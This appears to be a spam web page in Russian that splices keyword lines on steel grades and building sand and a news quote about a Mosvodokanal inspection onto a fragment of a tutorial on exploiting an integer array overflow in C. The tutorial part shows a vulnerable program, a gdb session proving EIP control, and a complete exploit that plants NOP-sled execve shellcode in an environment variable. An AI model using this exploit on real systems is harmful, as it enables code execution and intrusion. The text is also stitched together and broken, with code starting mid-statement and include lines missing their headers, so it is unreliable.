марки стали

Марки нержавеющей стали

заголовок

«Вчера на объектах Мосводоканала, а именно на Курьяновских очистных сооружениях, была проверка МЧС, а сегодня их проверяет природоохранная прокуратура Москвы, проверка в настоящее время продолжается, результаты пока неизвестны», — сказал собеседник агентства.

конструкционная углеродистая сталь марки
песок строительный йошкар ола

",slot,value); return; } int main(int argc,char **argv){ if(argc!=3) printf("syntax: %s [slot] [value] ",argv[0]); else place_int_array(atoi(argv[1]),atoi(argv[2])); exit(0); } int_array.c: eof. в основном, все что делает программа - это переписывает желаемый элемент нашим значением. итак, запустим программу: $ [root@localhost /root] gcc int_array.c -o int_array $ [root@localhost /root] ./int_array 33 65535 $ filled slot 33 with 65535. $ [root@localhost /root] ./int_array 34 65535 $ filled slot 34 with 65535. $ [root@localhost /root] ./int_array 35 65535 $ filled slot 35 with 65535. $ segmentation fault (core dumped) то, что мы и хотели увидеть. воспользуемся gdb для исследования программы: $ [root@localhost /root] gdb -c core $ gnu gdb 5.0rh-5 red hat linux 7.1 $ ... $ this gdb was configured as "i386-redhat-linux". $ core was generated by `./int_array 35 65535`. $ program terminated with signal 11, segmentation fault. $ 0 0x0000ffff in ?? () $ (gdb) замечательно, 0x0000ffff = 65535, такое же значение было увторого аргумента программы (обратите внимание, что первый параметрбудет равен 35 не на всех компьютерах). так мы можем контролироватьсодержание eip. как было сказано раньше, значение адреса и значениецелого числа те же самые, только в различных представлениях. это вернодля самых обычных способов организации памяти, но не для всех. теперь напишем пример эксплойта для уязвимой программы: expl_int_array.c: example exploit, for a buggy program. /* expl_int_array.c: int_array.c exploit. */ /* syntax: ./expl_int_array [0x????????] [ ] */ include include include include /* путь к уязвимой программе. (int_array) */ define path "./int_array" /* размер буфера. */ define env_size 4096 /* x86/linux shellcode, written by aleph1. */ static char x86_exec[]= "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46" "x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80" "x31xdbx89xd8x40xcdx80xe8xdcxffxffxffx2f" "x62x69x6ex2fx73x68"; int main(int argc,char **argv){ char n_to_s[16],*buf; unsigned int ret; /* берем адрес, который будет конвертирован */ /* в числовое значение. */ if(argc>2) sscanf(argv[1],"%x",&ret); else{ printf("syntax: %s [0x????????] [ ] ",argv[0]); exit(0); } */ /* все, что выше 0x7fffffff должно быть */ /* передано как отрицательное значение. для этого */ /* вычтите 0xffffffff. */ if(ret>0x7fffffff) sprintf(n_to_s,"%d",ret-0xffffffff-1); else sprintf(n_to_s,"%u",ret); /* помещаем nop`ы и shellcode в переменную окружения */ if(!(buf=(char *)malloc(env_size+1)))exit(0); memset(buf,0x90,(env_size-strlen(x86_exec))); memcpy(buf+(env_size-strlen(x86_exec)),x86_exec,strlen(x86_exec)); setenv("exec",buf,1); free(buf) /* выводим вспомогательную информацию */ printf("* return address: 0x%x ",ret); printf("* command line: %s %s %s ",path,argv[2],n_to_s); /* запускаем эксплойтируемую программу */ execl(path,path,argv[2],n_to_s,0); /* неудачное исполнение */ exit(0); } expl_int_array.c: eof. синтаксис эксплойта: ./expl_int_array [slot number] [address] . expl_int_array должен поместить shellcode в переменнуюокружения.















#